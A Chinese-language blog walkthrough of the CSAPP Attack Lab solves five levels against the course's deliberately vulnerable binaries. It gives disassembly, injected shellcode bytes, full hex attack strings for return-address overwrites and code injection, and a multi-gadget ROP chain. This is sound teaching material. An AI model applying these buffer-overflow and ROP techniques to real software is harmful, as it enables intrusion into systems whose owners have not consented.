Attack Lab 缓冲区溢出攻击实验

这是CSAPP课程的第三个Lab。

实验准备

实验介绍

简介
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种Code injection代码注入和Reeturn-oriented programming(ROP)面向返回编程。
目的
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。

实验说明

文件说明
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。

整个Lab的大致流程就是,输入一个字符串,然后利用stack的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()函数去调用getbuf()函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch函数。

X68-64寄存器和堆栈
X86-64有16个64位寄存器
1、%rax 作为函数返回值使用。
2、%rsp 栈指针寄存器,指向栈顶。
3、%rdi%rsi%rdx%rcx%r8%r9 用作函数参数,依次对应第1参数,第2参数……
4、%rbx%rbp%r12%r13%14%15 用作数据存储,遵循被调用者使用规则。
5、%r10%r11 用作数据存储,遵循调用者使用规则。
辅助工具说明
hex2raw:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt

详细实验介绍和实验步骤可以查看WriteUp,强烈推荐实验前先看一下。

PART 1 : Code Injection Attacks

代码注入攻击:通过使缓冲区溢出,注入攻击代码。ctarget文件将执行test函数,实验·任务是在执行完getbuf函数后,程序不继续执行test函数,而是执行touch函数。

在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。

void test()
{int val;val = getbuf();printf("NO explit. Getbuf returned 0x%x\n", val);
}

Level 1

使getbuf返回时,执行touch1而不是返回test

void touch1()
{vlevel = 1;    /* Part of validation protocol */printf("Touch1!: You called touch1()\n");   validate(1);exit(0);
}

这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf的返回值,即使getbuf结尾处的ret指令将控制转移到touch1

  • getbuf汇编代码
00000000004017a8 <getbuf>:4017a8:  48 83 ec 28             sub    $0x28,%rsp4017ac:    48 89 e7                mov    %rsp,%rdi4017af: e8 8c 02 00 00          callq  401a40 <Gets>4017b4:   b8 01 00 00 00          mov    $0x1,%eax4017b9: 48 83 c4 28             add    $0x28,%rsp4017bd:    c3                      retq   4017be:  90                      nop4017bf:  90
  • 从第一句指令sub $0x28,%rsp可以得出getbuf创建的缓冲区大小为0x28字节。
0000000004017c0 <touch1>:4017c0:   48 83 ec 08             sub    $0x8,%rsp4017c4: c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>4017cb:    00 00 00 4017ce:    bf c5 30 40 00          mov    $0x4030c5,%edi4017d3:    e8 e8 f4 ff ff          callq  400cc0 <puts@plt>4017d8:  bf 01 00 00 00          mov    $0x1,%edi4017dd: e8 ab 04 00 00          callq  401c8d <validate>4017e2:   bf 00 00 00 00          mov    $0x0,%edi4017e7: e8 54 f6 ff ff          callq  400e40 <exit@plt>
  • touch1函数的起始地址为0x4017c0getbuf在栈中分配了40个字节的内存来存储输入数据。在执行ret指令后,从%rsp+40处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1的起始地址,即将输入的第40-47个字符写为touch1函数的起始地址。
  • 攻击字符串level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充满整个缓冲区(40字节)从而溢出
c0 17 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址
 这里注意小端法保存
  • 调用hex2raw生成攻击字符串,并攻击ctarget

Level 2

void touch2(unsigned val)
{vlevel = 2; /* Part of validation protocol */if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);}

使getbuf返回时,执行touch2而不是返回test,并且让touch2以为其接受的输入参数是cookie,即0x59b997fa

  • 汇编代码
00000000004017ec <touch2>:4017ec:  48 83 ec 08             sub    $0x8,%rsp4017f0: 89 fa                   mov    %edi,%edx4017f2: c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>4017f9:    00 00 00 4017fc:    3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>401802:    75 20                   jne    401824 <touch2+0x38>401804:   be e8 30 40 00          mov    $0x4030e8,%esi401809:    bf 01 00 00 00          mov    $0x1,%edi40180e: b8 00 00 00 00          mov    $0x0,%eax401813: e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>401818:  bf 02 00 00 00          mov    $0x2,%edi40181d: e8 6b 04 00 00          callq  401c8d <validate>401822:   eb 1e                   jmp    401842 <touch2+0x56>401824:   be 10 31 40 00          mov    $0x403110,%esi401829:    bf 01 00 00 00          mov    $0x1,%edi40182e: b8 00 00 00 00          mov    $0x0,%eax401833: e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>401838:  bf 02 00 00 00          mov    $0x2,%edi40183d: e8 0d 05 00 00          callq  401d4f <fail>401842:   bf 00 00 00 00          mov    $0x0,%edi401847: e8 f4 f5 ff ff          callq  400e40 <exit@plt>
  • touch2函数的起始地址为0x4017ec,根据x86-64寄存器规则和汇编代码可知touch2函数的输入参数存储在寄存器%rdi。所以我们需要在进入touch2之前先跳转到某个地方,执行注入代码,将修改寄存器%rdi的值为cookie,然后再跳转。所以步骤为:
    1、将cookie放入寄存器%rdi中,然后将touch2函数的起始地址压入栈中,这样通过ret指令返回时就可以跳转到touch2
    2、然后将利用缓冲区溢出的漏洞将getbuf函数返回到上述代码的起始位置,即从缓冲区的起始位置执行攻击代码。
    流程为:getbuf -> ret = 缓冲区起始地址 -> 注入代码 -> ret -> touch2起始地址
  • 注入代码指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec    //ret指令后出栈跳转到touch2
ret
  • 利用编译和反汇编获得注入代码的机器代码:
    gcc -c attack1.s
    objdump -d attack1.o > attack1.txt
0000000000000000 <.text>:0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi7:   68 ec 17 40 00          pushq  $0x4017ecc:   c3                      retq
  • 因此要注入的字符串为48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3。我们需要知道这段代码在程序中为位置,内存中存储这段代码的位置是由getbuf开辟的缓冲区,而getbuf利用Gets开辟缓冲区,因此我们需要利用gdb查看缓冲区的起始位置。
    缓冲区的起始地址为0x5561dc78
  • 攻击字符串level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
  • 使用hex2raw生成攻击字符串,并攻击ctarget

Level 3

int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}void touch3(char *sval)
{vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}
  • 和Level 2 一样touch3也需要传入cookie但是要求以字符串的形式传入。和Level 2的区别是touch3的参数是cookie的字符串地址, 寄存器%rdi存储cookie字符串的地址。
  • 汇编代码
00000000004018fa <touch3>:4018fa:  53                      push   %rbx4018fb:  48 89 fb                mov    %rdi,%rbx4018fe: c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>401905:    00 00 00 401908:    48 89 fe                mov    %rdi,%rsi40190b: 8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>401911:    e8 36 ff ff ff          callq  40184c <hexmatch>401916:   85 c0                   test   %eax,%eax401918: 74 23                   je     40193d <touch3+0x43>40191a:   48 89 da                mov    %rbx,%rdx40191d: be 38 31 40 00          mov    $0x403138,%esi401922:    bf 01 00 00 00          mov    $0x1,%edi401927: b8 00 00 00 00          mov    $0x0,%eax40192c: e8 bf f4 ff ff          callq  400df0 <__printf_chk@plt>401931:  bf 03 00 00 00          mov    $0x3,%edi401936: e8 52 03 00 00          callq  401c8d <validate>40193b:   eb 21                   jmp    40195e <touch3+0x64>40193d:   48 89 da                mov    %rbx,%rdx401940: be 60 31 40 00          mov    $0x403160,%esi401945:    bf 01 00 00 00          mov    $0x1,%edi40194a: b8 00 00 00 00          mov    $0x0,%eax40194f: e8 9c f4 ff ff          callq  400df0 <__printf_chk@plt>401954:  bf 03 00 00 00          mov    $0x3,%edi401959: e8 f1 03 00 00          callq  401d4f <fail>40195e:   bf 00 00 00 00          mov    $0x0,%edi401963: e8 d8 f4 ff ff          callq  400e40 <exit@plt>
  • touch3的起始地址为0x4018fa。因为在函数中调用了hexmatch函数,并且该函数申请了110字节的内存空间,如果cookie存储在缓冲区内会被覆盖掉,因此通过gdb查看调用hexmatch后栈顶地址为0x5561dca0,将字符串存储在栈之外即0x556dca8处。
  • cookie0x55997fa的ACSII码为35 39 62 39 39 37 66 61 00,末尾的00是字符串结束标识符\n。注入代码为:
   0:    48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi  #存入cookie值ASCII码的地址7:  68 fa 18 40 00          pushq  $0x4018fa    #跳转touch3c: c3                      retq
  • 攻击字符串level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII码
  • 使用hex2raw生成攻击字符串,并攻击ctarget

PART 2:Return-Oriented Programming(ROP)

面向返回编程:
为了防止代码注入攻击,程序通常使用两种技术来阻止此类攻击:

  • 栈随机化:每次程序运行栈的位置都是随机的,因此无法确定注入代码应放的位置;
  • 限制可执行代码区域:将保存堆栈的内存区域标记为不可执行,因此即使将程序计数器设置为注入代码的开头,程序也会因为分段错误而失败。

因此通过执行现有代码而不是注入新代码来完成攻击,常见形式为ROP。

ROP的策略是识别现有程序的字节序列,程序会在栈上放入很多gadget地址(小的代码片段,并且会ret),而每次ret都进入一个gadget,这样可以形成一个程序链,通过将程序自身的指令来完成我们的目的。
根据实验参考文件,所需的所有gadger都可以在函数start_farmmid_farm划分的rtarget的代码区域中找到。

  • 代码
0000000000401994 <start_farm>:401994:  b8 01 00 00 00          mov    $0x1,%eax401999: c3                      retq
000000000040199a <getval_142>:40199a: b8 fb 78 90 90          mov    $0x909078fb,%eax40199f:  c3                      retq
00000000004019a0 <addval_273>:4019a0: 8d 87 `48 89 c7 c3`       lea    -0x3c3876b8(%rdi),%eax  # movq %rax,%rdi4019a6:  c3                      retq
00000000004019a7 <addval_219>:                           4019a7:  8d 87 51 73 `58 90`       lea    -0x6fa78caf(%rdi),%eax  # popq %rax4019ad:   `c3`                      retq
00000000004019ae <setval_237>:4019ae: c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)4019b4:    c3                      retq
00000000004019b5 <setval_424>:4019b5: c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)4019bb:    c3                      retq
00000000004019bc <setval_470>:4019bc: c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)4019c2:    c3                      retq
00000000004019c3 <setval_426>:4019c3: c7 07 `48 89 c7 90`       movl   $0x90c78948,(%rdi)4019c9:    `c3`                      retq
00000000004019ca <getval_280>:4019ca: b8 29 `58 90 c3`          mov    $0xc3905829,%eax4019cf:  c3                      retq
00000000004019d0 <mid_farm>:4019d0:   b8 01 00 00 00          mov    $0x1,%eax4019d5: c3                      retq
00000000004019d6 <add_xy>:4019d6: 48 8d 04 37             lea    (%rdi,%rsi,1),%rax4019da:    c3                      retq
00000000004019db <getval_481>:4019db: b8 5c `89 c2 90`          mov    $0x90c2895c,%eax  #movl %eax,%edx4019e0: `c3`                      retq
00000000004019e1 <setval_296>:4019e1: c7 07 99 d1 90 90       movl   $0x9090d199,(%rdi)4019e7:    c3                      retq
00000000004019e8 <addval_113>:4019e8: 8d 87 89 ce 78 c9       lea    -0x36873177(%rdi),%eax4019ee:    c3                      retq
00000000004019ef <addval_490>:4019ef: 8d 87 8d d1 20 db       lea    -0x24df2e73(%rdi),%eax4019f5:    c3                      retq
00000000004019f6 <getval_226>:4019f6: b8 89 d1 48 c0          mov    $0xc048d189,%eax4019fb:  c3                      retq
00000000004019fc <setval_384>:4019fc: c7 07 81 d1 84 c0       movl   $0xc084d181,(%rdi)401a02:    c3                      retq
0000000000401a03 <addval_190>:401a03: 8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax401a09:    c3                      retq
0000000000401a0a <setval_276>:401a0a: c7 07 88 c2 08 c9       movl   $0xc908c288,(%rdi)401a10:    c3                      retq
0000000000401a11 <addval_436>:401a11: 8d 87 `89 ce 90 90`       lea    -0x6f6f3177(%rdi),%eax  #movl %ecx,%esi401a17:   `c3`                      retq
0000000000401a18 <getval_345>:401a18: b8 48 89 e0 c1          mov    $0xc1e08948,%eax401a1d:  c3                      retq
0000000000401a1e <addval_479>:401a1e: 8d 87 89 c2 00 c9       lea    -0x36ff3d77(%rdi),%eax401a24:    c3                      retq
0000000000401a25 <addval_187>:401a25: 8d 87 89 ce 38 c0       lea    -0x3fc73177(%rdi),%eax401a2b:    c3                      retq
0000000000401a2c <setval_248>:401a2c: c7 07 81 ce 08 db       movl   $0xdb08ce81,(%rdi)401a32:    c3                      retq
0000000000401a33 <getval_159>:401a33: b8 `89 d1 38 c9`          mov    $0xc938d189,%eax  #movl %edx,%ecx401a38: `c3`                      retq
0000000000401a39 <addval_110>:401a39: 8d 87 c8 89 e0 c3       lea    -0x3c1f7638(%rdi),%eax401a3f:    c3                      retq
0000000000401a40 <addval_487>:401a40: 8d 87 89 c2 84 c0       lea    -0x3f7b3d77(%rdi),%eax401a46:    c3                      retq
0000000000401a47 <addval_201>:401a47: 8d 87 48 89 e0 c7       lea    -0x381f76b8(%rdi),%eax401a4d:    c3                      retq
0000000000401a4e <getval_272>:401a4e: b8 99 d1 08 d2          mov    $0xd208d199,%eax401a53:  c3                      retq
0000000000401a54 <getval_155>:401a54: b8 89 c2 c4 c9          mov    $0xc9c4c289,%eax401a59:  c3                      retq
0000000000401a5a <setval_299>:401a5a: c7 07 48 89 e0 91       movl   $0x91e08948,(%rdi)401a60:    c3                      retq
0000000000401a61 <addval_404>:401a61: 8d 87 89 ce 92 c3       lea    -0x3c6d3177(%rdi),%eax401a67:    c3                      retq
0000000000401a68 <getval_311>:401a68: b8 89 d1 08 db          mov    $0xdb08d189,%eax401a6d:  c3                      retq
0000000000401a6e <setval_167>:401a6e: c7 07 89 d1 91 c3       movl   $0xc391d189,(%rdi)401a74:    c3                      retq
0000000000401a75 <setval_328>:401a75: c7 07 81 c2 38 d2       movl   $0xd238c281,(%rdi)401a7b:    c3                      retq
0000000000401a7c <setval_450>:401a7c: c7 07 09 ce 08 c9       movl   $0xc908ce09,(%rdi)401a82:    c3                      retq
0000000000401a83 <addval_358>:401a83: 8d 87 08 `89 e0 90`       lea    -0x6f1f76f8(%rdi),%eax401a89:    `c3`                      retq
0000000000401a8a <addval_124>:401a8a: 8d 87 89 c2 c7 3c       lea    0x3cc7c289(%rdi),%eax401a90: c3                      retq
0000000000401a91 <getval_169>:401a91: b8 88 ce 20 c0          mov    $0xc020ce88,%eax401a96:  c3                      retq
0000000000401a97 <setval_181>:401a97: c7 07 48 89 e0 c2       movl   $0xc2e08948,(%rdi)401a9d:    c3                      retq
0000000000401a9e <addval_184>:401a9e: 8d 87 89 c2 60 d2       lea    -0x2d9f3d77(%rdi),%eax401aa4:    c3                      retq
0000000000401aa5 <getval_472>:401aa5: b8 8d ce 20 d2          mov    $0xd220ce8d,%eax401aaa:  c3                      retq
0000000000401aab <setval_350>:401aab: c7 07 `48 89 e0 90`       movl   $0x90e08948,(%rdi) #movq %rsp,%rax401ab1:    `c3`                      retq
0000000000401ab2 <end_farm>:401ab2:   b8 01 00 00 00          mov    $0x1,%eax401ab7: c3                      retq

gadget farm中的满足条件的gadget

gadget 起始地址 指令编号 指令
<addval_273> 0x4019a2 48 89 c7 c3 movq %rax,%rdi
<addval_219> 0x4019ca 58 (90) c3 popq %rax
<setval_350> 0x401aad 48 89 e0 (90) c3 movq %rsp,%rax
<getval_481> 0x4019dd 89 c2 (90) c3 movl %eax,%edx
<getval_159> 0x401a34 89 d1 (38) (c9) c3 movl %edx,%ecx
<addval_436> 0x401a13 89 ce (90) (90) c3 movl %ecx,%esi
<add_xy> 0x4019d6 48 8d 04 37 c3 lea (%rdi,%rsi,1),%rax
 括号内的指令编码为nop或2字节指令,并不影响。

Level 4

要求
1、只能使用前八个x86-64寄存器%rax-%rdi
2、只能使用movqpopqretnopgadget
3、只能使用两个gadget完成攻击;

和Level 2一样将cookie存储进寄存器%rdi内。所以需要在rterget中找到相应gadget,可以凑出相应的能够实现攻击的指令。先将寄存器%rax的值设置为cookie,然后复制给%rdi。,可以拼凑出代码为:

popq %rax
ret            # 0x4019ab
mov     %rax,%rdi
ret            # 0x4019a2
  • 攻击字符串 level4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上代码填满整个缓冲区以致溢出
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat   ret)的起始地址覆盖原先的返回地址
fa 97 b9 59 00 00 00 00   //cookie
a2 19 40 00 00 00 00 00
//gadget2(mov %rax,%rdi   ret)的起始地址
ec 17 40 00 00 00 00 00   //touch2的起始地址


Level 5

要求
1、只能使用前八个x86-64寄存器%rax-%rdi
2、可以使用movqmovlpopqretnopgadget
3、可以使用在rtarget代码中在start_farmend_farm区域内的任意gadget完成攻击;
4、至少需要8个gadget实现此次攻击。
  • level3一样,需要将寄存器%rdi的值设置为cookie字符串的指针,即存储cookie字符串的地址。
  • 找到满足要求的gadget拼凑出攻击指令
movq   %rsp,%rax    //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
add    $x  ,%rax
movq   %rax,%rdi    //将cookie字符串地址传递给%rdi
  • 因此我们需要找到一个能够实现加法或减法的运算的gadget,但是参考文件中并没有相关的字节编码,需要寻找其他方法:
00000000004019d6 <add_xy>:4019d6:  48 8d 04 37             lea    (%rdi,%rsi,1),%rax4019da:    c3                      retq
  • 通过观察可以通过上述代码来实现一个加法运算,lea (%rdi,%rsi,1) %rax的是%rax = %rdi + %rsi传递的是地址,所以只要能够让%rdi%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie字符串存放的地址。所以分成两部分代码:
    1.把%rsp存放到%rdi中
    2.把偏移值(需要确定指令数后才能确定)存放到%rsi中
  • 在上述代码中并没有movq %rax,%rsi的gadget,只能通过过%eax->%edx->%ecx->%esi来实现。即将%eax的值设置为cookie字符串地址在栈中的偏移量并复制给%esi
    需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax%esi的值传递mov指令都是4byte的操作,如果对%rsp的值采用这种方式,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。
  • 最后的指令为:
mov   %rsp,%rax
ret
mov   %rax,%rdi   #先将栈顶%rsp存入%rdi内
ret
popq  %rax         #将偏移量赋值给%eax
ret
movl  %eax,%edx
ret
movl  %edx,%ecx
ret
movl  %ecx,%esi   #%esi = 偏移量
ret
lea   (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov   %rax,%rdi    #%rdi = cookie字符地址
ret
  • 根据题目rsp是41-48字节处,所以在cookie字符串之前还有九条指令,共占有72个字节即0x48字节,所以cookie字符串的地址在栈中的偏移量为0x48
  • 攻击字符串level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代码填满整个缓冲区以致溢出
ad 1a 40 00 00 00 00 00  //movq %rsp,%rax
a2 19 40 00 00 00 00 00  //movq %rax,%rdi
ab 19 40 00 00 00 00 00  //popq %rax
48 00 00 00 00 00 00 00  //偏移值
dd 19 40 00 00 00 00 00  //movl %eax,%edx
34 1a 40 00 00 00 00 00  //movl %edx,%ecx
13 1a 40 00 00 00 00 00  //movl %ecx,%esi
d6 19 40 00 00 00 00 00  //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00  //movq %rax,%rdi
fa 18 40 00 00 00 00 00  //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字符串


实验总结

这一部分实验大概用了两个晚上的时间,这个实验的说明文档讲的很清晰,相对上一个实验还是容易些,通过这个实验对于堆栈还有参数传递有了更深的认识,对于机器代码如何控制程序运行也更加了解,以后有机会也会多了解一下这方面的知识。

CSAPP实验——AttackLab相关推荐

  1. CSAPP实验二——bomb lab实验

    CSAPP实验二-- bomb lab实验 实验前准备 第一部分(phase_1) 第二部分(phase_2) 第三部分(phase_3) 第四部分(phase_4) 第五部分(phase_5) 第六 ...

  2. CSAPP实验记录(二)Bomb Lab

    CSAPP实验记录(二)Bomb Lab 二进制炸弹是由一系列阶段组成的程序.每个阶段都要求你在 stdin 上键入一个特定的字符串.如果你输入了正确的字符串,那么这个阶段就被拆除,炸弹进入下一个阶段 ...

  3. csapp实验摘选 I Data Lab ——小小菜下士的第一篇博客

    csapp实验摘选 I Data Lab --小小菜下士的第一篇博客 注:这是我的第一篇博客,试图在通往程序猿的路上踏出坚实的一步. --小小菜下士 实验来自: [读厚 CSAPP]I Data La ...

  4. csapp实验记录 - Cachelab partA

    Cachelab partA 这是该实验的 partA 部分,主要是用 c 语言模拟 cpu 对cache的存取过程,以及其缓存命中,不命中和不命中时的替换的情况 实验准备 实验的环境在 Linux ...

  5. 【计算机系统基础bomb lab】CSAPP实验:Bomb Lab

    [计算机系统基础bomb lab]CSAPP实验:Bomb Lab CSAPP 实验:Bomb Lab 实验内容简述 实验环境 实验过程:phase 1 phase 1 调试过程 实验过程:phase ...

  6. CSAPP实验记录(一):环境配置datalab

    CSAPP实验记录(一):环境配置&datalab 1.环境配置 下载Ubuntu虚拟机.我之前用的是Ubuntu18.04,非常坑,强烈建议换成Ubuntu20.04 windows和Ubu ...

  7. CSAPP实验——DataLab

    CSAPP - DataLab CSAPP实验记录 Data Lab   实验的内容是关于计算机信息的表示,主要包括位操作.整型及浮点型相关知识. 题目列表 名称 任务 难度 bitXor(x, y) ...

  8. CSAPP——Lab3——AttackLab

    本篇文章是CSAPP配套实验的第三个,基于缓冲区溢出的攻击实验,和前面的bomb lab同属一章,它们都属于机器级编程这一章的内容,前面的bomb lab是为了阅读和理解汇编语言代码,而这个实验则是为 ...

  9. CSAPP实验四:性能优化实验(Perflab)

    本系列文章为中国科学技术大学计算机专业学科基础课<计算机系统>布置的实验,上课所用教材和内容为黑书CSAPP,当时花费很大精力和弯路,现来总结下各个实验,本文章为第四个实验--性能优化实验 ...

最新文章

  1. sqlite 修改表名,合并数据库(文件)
  2. Linq Group By 注意点
  3. 通过SiteMapDataSource动态获取SiteMap文件进行权限设置
  4. 程序员如何勇敢说“不”!
  5. 生日特惠餐厅 北京_黑色星期五特惠终极指南
  6. 发展下一代互联网的动力
  7. 01. View C++ as a federation of languages
  8. 【Axure10基础教程】第六章 动态面板
  9. linux运行虚幻引擎4,虚幻引擎4.25开发环境如何设置
  10. 代码对比/归并/两个代码对比,对比代码
  11. Win10自带录屏如何实现录制系统声音
  12. 配置 hosts 浏览器访问仍然不生效
  13. RAC的并发操作与分布式锁DLM
  14. android按钮美化(入门)
  15. 关于Impl idiom
  16. office 2010很强大很好用
  17. mate40pro的曲面屏设计华而不实
  18. OpenGL3.3透视矩阵原理计算
  19. Maven下载与配置详细教程
  20. 中科大凸优化P1P2 Chapter1 Introduction

热门文章

  1. 首届“深水云脑杯”全国智慧水务数据创新大赛在深圳圆满落幕
  2. 课堂练习-搜索MP3文件名
  3. 《正太哲学》-正态分布的哲学本质及世界观意义
  4. spring boot配置文件自定义加密配置
  5. 参考文献格式字号字体_论文参考文献标准格式字体大小
  6. Fritzing软件绘制Arduino面包板接线图传感器模块库文件241
  7. JavaSE基础复习day01
  8. 《瞬间之美》:做细节的魔鬼
  9. 万能的数据传输格式——XML/json
  10. 【笔试or面试】UC2014实习生招聘笔试题